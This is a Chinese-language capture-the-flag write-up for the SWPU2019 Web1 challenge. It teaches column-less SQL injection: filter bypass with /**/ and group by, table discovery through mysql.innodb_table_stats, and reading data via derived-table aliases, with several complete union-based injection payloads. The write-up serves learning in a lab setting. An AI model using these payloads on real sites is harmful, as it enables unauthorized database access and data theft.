[SWPU2019]Web1

[SWPU2019]Web1

这个题目主要考察的是sql注入中的无列名注入。
无列名注入主要用于information_schema被屏蔽,需要使用别的不带列名的表查询的情况。

经过测试,过滤有空格和 #, --+, and、or。
可以根据报错猜到他的sql语句为

select * from tableX where name = '$name' limit 0,1

我们使用/**/来替代空格;
没有办法注释,闭合引号即可;
过滤了or,无法使用order by,使用group by替代。
这个or过滤挺难受的,一下子很多东西都用不了了,比如还顺便过滤掉的information_schema

1. 获取数据库信息

1.1 检查数据库列数

首先使用

-1'/**/group/**/by/**/25,'2

检查数据库列数,小于25

检查到22时发现不报找不到列数了,即该表有22列。

1.2 查看回显位置

使用

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这里用select,参数个数必须要和表的列数相同,同时还需要闭合引号。
可以看到,回显的位置时2,3号位置。

2. 查表

2.1 查表名

这里没有办法使用information_schema, 只能换用别的表。在网上看了别的师傅的WP,发现还有其他表如mysql.innodb_table_statssys.schema_table_statistics_with_buffer可以看表名、数据库名,就是没有列名。这边要用到一会儿说的无列名注入。
这是在MariaDB官网找的关于这个表的介绍,可以看到有database_name, table_name, 还有n_rows,应该是行数。

image

我们首先查表名

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'


现在需要查看表内具体内容,但是因为information_schema被过滤,作为替代的mysql.innodb_table_stats又没有列名,怎么办呢?

2.2 无列名注入

这里我是照着这位师傅的学的,写的很详细。
https://www.jianshu.com/p/a352261e0ad5

假设有tableX

user passwd
Tom asd
Nr 123

我们使用这么个语句的时候

select 1,2 union select * from tableX;
1 2
Tom asd
Nr 123

他会生成一个1,2, 再提取tableX的内容来临时生成一张新表,却不会提取tableX的列名。在这张新表中,我们用的这个数字边如同替换了列名。我们便可用这个2在这张临时的表中指定想要查看的列名。

select `2` from (select 1,2 union select * from tableX)a;

这句话的意思是,使用括号内的select语句构建一张新表a,然后从a中选取列名为‘2’的列,即原来的passwd列。至此,我们便完成了无列名注入。
如果反引号 ` 被过滤,我们可以使用别名替代。

select b from (select 1,2 as b union select * from tableX)a;

这里的b,指的是我们之前select的1,2中的2, 如想看第一列,使用

select b from (select 1 as b, 2 union select * from tableX)a;

2.3 查询表内容

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/【(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)】a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这里我为了方便看,加了粗体方括号。方括号内的是临时表的内容。
这里因为回显出来的位数是2,3,我直接查看的第二列,内容如下。

查看第三列

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'


出Flag了,可喜可贺。

posted @ 2021-12-24 00:14  AikNr  阅读(757)  评论(0编辑  收藏  举报